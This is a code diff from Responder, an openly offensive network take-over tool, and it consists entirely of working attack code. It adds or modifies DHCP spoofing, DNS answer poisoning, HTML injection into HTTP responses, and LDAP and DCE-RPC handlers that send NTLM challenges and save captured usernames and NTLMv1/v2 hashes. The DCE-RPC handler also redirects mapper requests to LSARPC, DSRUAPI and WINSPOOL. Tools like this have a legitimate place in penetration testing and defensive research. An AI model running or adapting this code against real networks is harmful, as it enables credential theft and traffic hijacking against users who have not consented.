Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
|
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
DHCPClient.append(MacAddrStr)
|
||||||
|
SaveDHCPToDb({
|
||||||
|
'MAC': MacAddrStr,
|
||||||
|
'IP': CurrentIP,
|
||||||
|
'RequestedIP': IPConv,
|
||||||
|
})
|
||||||
|
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
||||||
|
|
||||||
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
||||||
IP = FindIP(data)
|
IP = FindIP(data)
|
||||||
if IP:
|
if IP:
|
||||||
IPConv = socket.inet_ntoa(IP)
|
IPConv = socket.inet_ntoa(IP)
|
||||||
if RespondToThisIP(IPConv):
|
if RespondToThisIP(IPConv):
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||||
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
|
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
DHCPClient.append(MacAddrStr)
|
||||||
|
SaveDHCPToDb({
|
||||||
|
'MAC': MacAddrStr,
|
||||||
|
'IP': CurrentIP,
|
||||||
|
'RequestedIP': IPConv,
|
||||||
|
})
|
||||||
|
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
|
||||||
|
|
||||||
|
def SendDiscover():
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||||
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||||
|
IP_Header = IPHead(SrcIP = socket.inet_aton('0.0.0.0').decode('latin-1'), DstIP=socket.inet_aton('255.255.255.255').decode('latin-1'))
|
||||||
|
Packet = DHCPDiscover()
|
||||||
|
Packet.calculate()
|
||||||
|
Buffer = UDP(SrcPort="\x00\x44", DstPort="\x00\x43",Data = Packet)
|
||||||
|
Buffer.calculate()
|
||||||
|
s.sendto(NetworkSendBufferPython2or3(str(IP_Header)+str(Buffer)), ('255.255.255.255', 67))
|
||||||
|
|
||||||
def SendDHCP(packet,Host):
|
def SendDHCP(packet,Host):
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||||
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
def DHCP():
|
||||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||||
s.bind((Interface, 0x0800))
|
s.bind((Interface, 0x0800))
|
||||||
|
SendDiscover()
|
||||||
while True:
|
while True:
|
||||||
try:
|
|
||||||
data = s.recvfrom(65535)
|
data = s.recvfrom(65535)
|
||||||
if data[0][23:24] == b"\x11": # is udp?
|
if data[0][23:24] == b"\x11":# is udp?
|
||||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||||
|
|
||||||
if SrcPort == 67 or DstPort == 67:
|
if SrcPort == 67 or DstPort == 67:
|
||||||
ret = ParseDHCPCode(data[0][42:])
|
ClientIP = socket.inet_ntoa(data[0][26:30])
|
||||||
|
ret = ParseDHCPCode(data[0][42:], ClientIP)
|
||||||
if ret:
|
if ret:
|
||||||
print(text("[DHCP] %s" % ret))
|
print(text("[*] [DHCP] %s" % ret))
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
|
||||||
@@ -33,20 +33,20 @@ def ParseDNSType(data):
|
|||||||
|
|
||||||
class DNS(BaseRequestHandler):
|
class DNS(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
# Break out if we don't want to respond to this host
|
# Ditch it if we don't want to respond to this host
|
||||||
if RespondToThisIP(self.client_address[0]) is not True:
|
if RespondToThisIP(self.client_address[0]) is not True:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
data, soc = self.request
|
data, soc = self.request
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False:
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False:
|
||||||
buff = DNS_Ans()
|
buff = DNS_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
|
||||||
buff = DNS_SRV_Ans()
|
buff = DNS_SRV_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
@@ -65,14 +65,14 @@ class DNSTCP(BaseRequestHandler):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False:
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False:
|
||||||
buff = DNS_Ans()
|
buff = DNS_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
|
||||||
buff = DNS_SRV_Ans()
|
buff = DNS_SRV_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
|
|||||||
@@ -222,7 +222,7 @@ def PacketSequence(data, client, Challenge):
|
|||||||
else:
|
else:
|
||||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
return NetworkSendBufferPython2or3(Buffer)
|
return Buffer
|
||||||
|
|
||||||
elif Basic_Auth:
|
elif Basic_Auth:
|
||||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||||
@@ -248,7 +248,7 @@ def PacketSequence(data, client, Challenge):
|
|||||||
else:
|
else:
|
||||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
return NetworkSendBufferPython2or3(Buffer)
|
return Buffer
|
||||||
else:
|
else:
|
||||||
if settings.Config.Basic:
|
if settings.Config.Basic:
|
||||||
Response = IIS_Basic_401_Ans()
|
Response = IIS_Basic_401_Ans()
|
||||||
@@ -308,6 +308,6 @@ class HTTP(BaseRequestHandler):
|
|||||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
|
|
||||||
except socket.error:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|||||||
@@ -25,9 +25,6 @@ import struct
|
|||||||
import codecs
|
import codecs
|
||||||
import random
|
import random
|
||||||
|
|
||||||
def GenerateNetbiosName():
|
|
||||||
return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
|
|
||||||
|
|
||||||
def CalculateDNSName(name):
|
def CalculateDNSName(name):
|
||||||
if isinstance(name, bytes):
|
if isinstance(name, bytes):
|
||||||
name = name.decode('latin-1')
|
name = name.decode('latin-1')
|
||||||
@@ -41,14 +38,13 @@ def CalculateDNSName(name):
|
|||||||
return Dnslen, DomainPrefix
|
return Dnslen, DomainPrefix
|
||||||
|
|
||||||
def ParseCLDAPNetlogon(data):
|
def ParseCLDAPNetlogon(data):
|
||||||
#data = NetworkSendBufferPython2or3(data)
|
|
||||||
try:
|
try:
|
||||||
Dns = data.find(b'DnsDomain')
|
Dns = data.find(b'DnsDomain')
|
||||||
if Dns is -1:
|
if Dns == -1:
|
||||||
return False
|
return False
|
||||||
DnsName = data[Dns+9:]
|
DnsName = data[Dns+9:]
|
||||||
DnsGuidOff = data.find(b'DomainGuid')
|
DnsGuidOff = data.find(b'DomainGuid')
|
||||||
if DnsGuidOff is -1:
|
if DnsGuidOff == -1:
|
||||||
return False
|
return False
|
||||||
Guid = data[DnsGuidOff+10:]
|
Guid = data[DnsGuidOff+10:]
|
||||||
if Dns:
|
if Dns:
|
||||||
@@ -66,20 +62,24 @@ def ParseCLDAPNetlogon(data):
|
|||||||
def ParseSearch(data):
|
def ParseSearch(data):
|
||||||
TID = data[8:9].decode('latin-1')
|
TID = data[8:9].decode('latin-1')
|
||||||
if re.search(b'Netlogon', data):
|
if re.search(b'Netlogon', data):
|
||||||
NbtName = GenerateNetbiosName()
|
NbtName = settings.Config.MachineName
|
||||||
TID = NetworkRecvBufferPython2or3(data[8:10])
|
TID = NetworkRecvBufferPython2or3(data[8:10])
|
||||||
|
if TID[1] == "\x63":
|
||||||
|
TID = "\x00"+TID[0]
|
||||||
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
|
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
|
||||||
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
|
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
|
||||||
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
|
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
|
||||||
t.calculate()
|
t.calculate()
|
||||||
return str(t)
|
return str(t)
|
||||||
|
|
||||||
if re.search(b'(objectClass)', data):
|
if re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
|
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||||
|
|
||||||
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||||
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
|
||||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
elif re.search(b'(objectClass)', data):
|
||||||
|
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
|
||||||
|
|
||||||
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||||
SSPIStart = data.find(b'NTLMSSP')
|
SSPIStart = data.find(b'NTLMSSP')
|
||||||
@@ -143,9 +143,10 @@ def ParseNTLM(data,client, Challenge):
|
|||||||
|
|
||||||
def ParseCLDAPPacket(data, client, Challenge):
|
def ParseCLDAPPacket(data, client, Challenge):
|
||||||
if data[1:2] == b'\x84':
|
if data[1:2] == b'\x84':
|
||||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
|
||||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
|
||||||
Operation = data[10:11]
|
Operation = data[10:11]
|
||||||
|
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||||
|
if Operation == b'\x84':
|
||||||
|
Operation = data[9:10]
|
||||||
sasl = data[20:21]
|
sasl = data[20:21]
|
||||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||||
@@ -172,10 +173,11 @@ def ParseCLDAPPacket(data, client, Challenge):
|
|||||||
|
|
||||||
elif Operation == b'\x63':
|
elif Operation == b'\x63':
|
||||||
Buffer = ParseSearch(data)
|
Buffer = ParseSearch(data)
|
||||||
|
print(text('[CLDAP] Sent CLDAP pong to %s.'% client))
|
||||||
return Buffer
|
return Buffer
|
||||||
|
|
||||||
elif settings.Config.Verbose:
|
elif settings.Config.Verbose:
|
||||||
print(text('[LDAP] Operation not supported'))
|
print(text('[CLDAP] Operation not supported'))
|
||||||
|
|
||||||
if data[5:6] == b'\x60':
|
if data[5:6] == b'\x60':
|
||||||
UserLen = struct.unpack("<b",data[11:12])[0]
|
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||||
@@ -183,7 +185,7 @@ def ParseCLDAPPacket(data, client, Challenge):
|
|||||||
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||||
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
|
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
|
print(text('[CLDAP] Attempting to parse an old simple Bind request.'))
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'LDAP',
|
'module': 'LDAP',
|
||||||
'type': 'Cleartext',
|
'type': 'Cleartext',
|
||||||
@@ -203,8 +205,6 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||||
if Operation == b'\x60':#Bind
|
if Operation == b'\x60':#Bind
|
||||||
if "ldap" in data:# No Kerberos
|
|
||||||
return False
|
|
||||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||||
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||||
|
|||||||
@@ -69,9 +69,11 @@ def PacketSequence(data, client, Challenge):
|
|||||||
GrabUserAgent(data)
|
GrabUserAgent(data)
|
||||||
GrabCookie(data)
|
GrabCookie(data)
|
||||||
GrabHost(data)
|
GrabHost(data)
|
||||||
return False
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
|
||||||
|
Buffer.calculate()
|
||||||
|
return Buffer
|
||||||
else:
|
else:
|
||||||
return False
|
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
|
||||||
|
|
||||||
elif Basic_Auth:
|
elif Basic_Auth:
|
||||||
GrabUserAgent(data)
|
GrabUserAgent(data)
|
||||||
|
|||||||
214
servers/RPC.py
Normal file
214
servers/RPC.py
Normal file
@@ -0,0 +1,214 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
from utils import *
|
||||||
|
import struct
|
||||||
|
import re
|
||||||
|
import ssl
|
||||||
|
import codecs
|
||||||
|
|
||||||
|
if settings.Config.PY2OR3 == "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
|
from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego
|
||||||
|
|
||||||
|
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2
|
||||||
|
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1
|
||||||
|
MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
|
||||||
|
|
||||||
|
#for mapper
|
||||||
|
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4
|
||||||
|
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0
|
||||||
|
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1
|
||||||
|
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def Chose3264x(packet):
|
||||||
|
if Map32 in packet:
|
||||||
|
return Map32
|
||||||
|
else:
|
||||||
|
return Map64
|
||||||
|
|
||||||
|
def FindNTLMOpcode(data):
|
||||||
|
SSPIStart = data.find(b'NTLMSSP')
|
||||||
|
if SSPIStart == -1:
|
||||||
|
return False
|
||||||
|
SSPIString = data[SSPIStart:]
|
||||||
|
return SSPIString[8:12]
|
||||||
|
|
||||||
|
def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2
|
||||||
|
SSPIStart = data.find(b'NTLMSSP')
|
||||||
|
SSPIString = data[SSPIStart:]
|
||||||
|
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||||
|
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||||
|
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||||
|
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||||
|
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||||
|
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||||
|
|
||||||
|
if NthashLen == 24:
|
||||||
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||||
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||||
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'DCE-RPC',
|
||||||
|
'type': 'NTLMv1-SSP',
|
||||||
|
'client': client,
|
||||||
|
'user': Domain+'\\'+Username,
|
||||||
|
'hash': SMBHash,
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
if NthashLen > 60:
|
||||||
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||||
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||||
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'DCE-RPC',
|
||||||
|
'type': 'NTLMv2-SSP',
|
||||||
|
'client': client,
|
||||||
|
'user': Domain+'\\'+Username,
|
||||||
|
'hash': SMBHash,
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
class RPCMap(BaseRequestHandler):
|
||||||
|
def handle(self):
|
||||||
|
try:
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
self.request.settimeout(5)
|
||||||
|
Challenge = RandomChallenge()
|
||||||
|
if data[0:3] == b"\x05\x00\x0b":#Bind Req.
|
||||||
|
#More recent windows version can and will bind on port 135...Let's grab it.
|
||||||
|
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
|
||||||
|
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
|
n.calculate()
|
||||||
|
RPC = RPCNTLMNego(Data=n)
|
||||||
|
RPC.calculate()
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
|
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||||
|
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||||
|
self.request.close()
|
||||||
|
|
||||||
|
if NetworkSendBufferPython2or3(Map) in data:# Let's redirect to Mapper.
|
||||||
|
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00",CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||||
|
|
||||||
|
|
||||||
|
if NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data: # Let's redirect to Mapper.
|
||||||
|
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||||
|
|
||||||
|
|
||||||
|
RPC.calculate()
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
|
if data[0:3] == b"\x05\x00\x00":#Mapper Response.
|
||||||
|
|
||||||
|
# DSRUAPI
|
||||||
|
if NetworkSendBufferPython2or3(DSRUAPI) in data:
|
||||||
|
x = RPCMapBindMapperAns()
|
||||||
|
x.calculate()
|
||||||
|
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||||
|
RPC.calculate()
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1))
|
||||||
|
self.request.close()
|
||||||
|
|
||||||
|
#LSARPC
|
||||||
|
if NetworkSendBufferPython2or3(LSARPC) in data:
|
||||||
|
x = RPCMapBindMapperAns(Tower1UID=LSARPC,Tower1Version="\x00\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||||
|
x.calculate()
|
||||||
|
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||||
|
RPC.calculate()
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1))
|
||||||
|
self.request.close()
|
||||||
|
|
||||||
|
#WINSPOOL
|
||||||
|
if NetworkSendBufferPython2or3(WINSPOOL) in data:
|
||||||
|
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||||
|
x.calculate()
|
||||||
|
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||||
|
RPC.calculate()
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1))
|
||||||
|
self.request.close()
